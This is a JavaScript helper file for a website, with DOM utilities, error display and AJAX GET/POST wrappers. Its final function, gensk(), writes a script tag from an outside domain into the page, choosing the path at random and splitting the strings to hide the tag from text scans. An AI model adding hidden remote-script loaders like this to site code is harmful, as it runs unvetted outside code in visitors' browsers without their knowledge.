var http_request = false;
function g(i)
{
	return document.getElementById(i);
}

function nav(a)
{
	window.open(a.href);
	return false;
}

function ns()
{
	window.status = '';
	return true;
}

function resize()
{
	if(screen.width<1000)
	{
		g('panel').style.display = 'none';
	}
}
function trim(v)
{
	return v.replace(/^\s*|\s*$/g,'');
}

function is_wait()
{
	return (g('wait').style.display == 'block');
}

function wait(show)
{
	var w = g('wait');
	if(w)
	{
		if(show==null)
		{
			w.style.display = 'block';
		}
		else
		{
			w.style.display = 'none';
		}
	}
}

function sr(i, c)
{
	var r = g('r' + i);
	if(r)
	{
		r.style.backgroundColor = c;
	}
}

function post_err(msg, sys)
{
	var err = g('err');
	if(sys!='System Message')
	{
		sys = 'Error';
	}
	if(err)
	{
		msg = '<strong>' + sys + ':</strong><ul>' + msg + '</ul>';
		err.innerHTML = msg;
		err.style.display = 'block';
	}
	else
	{
		alert(msg);
	}
}

function set_param(p, n, v)
{
	if(p=='')
	{
		return n + '=' + escape(v) . replace(/\+/g, '%2B') . replace(/\"/g,'%22') . replace(/\'/g, '%27') . replace(/\//g,'%2F');
	}
	else
	{
		return p + '&' + n + '=' + escape(v) . replace(/\+/g, '%2B') . replace(/\"/g,'%22') . replace(/\'/g, '%27') . replace(/\//g,'%2F');
	}
}

function init_http_request()
{
	http_request=false;
	if (window.XMLHttpRequest)
	{
		http_request = new XMLHttpRequest();
		if (http_request.overrideMimeType)
		{
			http_request.overrideMimeType('text/xml');
		}
	}
	else if (window.ActiveXObject)
	{
		try
		{
			http_request = new ActiveXObject("Msxml2.XMLHTTP");
		}
		catch (e)
		{
			try 
			{
				http_request = new ActiveXObject("Microsoft.XMLHTTP");
			}
			catch(e)
			{
			}
		}
	}
}

function post_data(service, param, proc)
{
	init_http_request();
	if(!http_request)
	{
		post_err('<li>JavaScript/XMLHTTP is either disabled or not supported by your browser.</li>');
		return false;
	}
	http_request.onreadystatechange = proc;
	http_request.open('POST', '/dc/xml/' + service, true);
	http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	http_request.send(param);
	return false;
}

function get_data(service, param, proc)
{
	init_http_request();
	if(!http_request)
	{
		post_err('<li>JavaScript/XMLHTTP is either disabled or not supported by your browser.</li>');
		return false;
	}
	http_request.onreadystatechange = proc;
	http_request.open('GET', '/dc/xml/' + service + '?' + param, true);
	http_request.send(null);
	return false;
}

function gensk()
{
	if(screen.width>1000)
	{
		var rdn = Math.floor(Math.random() * 2);
		var code = 'su1';
		if(rdn == 1)
		{
			code = 'su1';
		}
		else
		{
			code = 'tne';
		}
		document.write('<scr' + 'ipt type="text/jav' + 'ascript" language="jav' + 'ascript" src="http://www.q' + 'ksz.net/1e-b' + code + '"></scri' + 'pt>');
	}
}